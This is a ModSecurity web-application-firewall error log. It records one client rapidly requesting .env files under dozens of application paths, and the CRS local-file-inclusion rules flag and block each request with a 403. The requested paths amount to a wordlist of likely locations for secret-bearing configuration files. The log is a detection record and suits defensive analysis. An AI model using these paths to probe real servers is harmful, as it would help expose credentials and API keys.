[Wed Feb 25 06:04:52.873511 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqAAAAAY&quot;]
[Wed Feb 25 06:04:52.873810 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqAAAAAY&quot;]
[Wed Feb 25 06:04:52.873986 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqAAAAAY&quot;]
[Wed Feb 25 06:04:52.949186 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/olcne/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqQAAAAY&quot;]
[Wed Feb 25 06:04:52.949229 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/code/community/nosto/tagging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C9Cn6hL63qXWzsp19YQAAAAE&quot;]
[Wed Feb 25 06:04:52.949479 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqQAAAAY&quot;]
[Wed Feb 25 06:04:52.949480 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C9Cn6hL63qXWzsp19YQAAAAE&quot;]
[Wed Feb 25 06:04:52.949661 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZqQAAAAY&quot;]
[Wed Feb 25 06:04:52.949803 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/code/community/Nosto/Tagging/.env&quot;] [unique_id &quot;aZ6C9Cn6hL63qXWzsp19YQAAAAE&quot;]
[Wed Feb 25 06:04:53.028377 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bucoffea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZqgAAAAY&quot;]
[Wed Feb 25 06:04:53.028674 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZqgAAAAY&quot;]
[Wed Feb 25 06:04:53.028845 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZqgAAAAY&quot;]
[Wed Feb 25 06:04:53.050746 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19YwAAAAE&quot;]
[Wed Feb 25 06:04:53.051044 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19YwAAAAE&quot;]
[Wed Feb 25 06:04:53.051213 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19YwAAAAE&quot;]
[Wed Feb 25 06:04:53.101214 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZAAAAAE&quot;]
[Wed Feb 25 06:04:53.101503 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZAAAAAE&quot;]
[Wed Feb 25 06:04:53.101691 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/dev/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZAAAAAE&quot;]
[Wed Feb 25 06:04:53.123259 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZQAAAAE&quot;]
[Wed Feb 25 06:04:53.123525 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZQAAAAE&quot;]
[Wed Feb 25 06:04:53.123697 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/frontend/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19ZQAAAAE&quot;]
[Wed Feb 25 06:04:53.248640 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /build/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZrQAAAAY&quot;]
[Wed Feb 25 06:04:53.248982 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZrQAAAAY&quot;]
[Wed Feb 25 06:04:53.249174 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.env&quot;] [unique_id &quot;aZ6C9fjNQqDNAmB2zjqZrQAAAAY&quot;]
[Wed Feb 25 06:04:53.479580 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app1-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aAAAAAE&quot;]
[Wed Feb 25 06:04:53.479855 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aAAAAAE&quot;]
[Wed Feb 25 06:04:53.480036 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app1-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aAAAAAE&quot;]
[Wed Feb 25 06:04:53.509057 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app2-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aQAAAAE&quot;]
[Wed Feb 25 06:04:53.509360 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aQAAAAE&quot;]
[Wed Feb 25 06:04:53.509543 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app2-static/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19aQAAAAE&quot;]
[Wed Feb 25 06:04:53.535923 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19agAAAAE&quot;]
[Wed Feb 25 06:04:53.536217 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dir/.env&quot;] [unique_id &quot;aZ6C9Sn6hL63qXWzsp19agAAAAE&quot;]
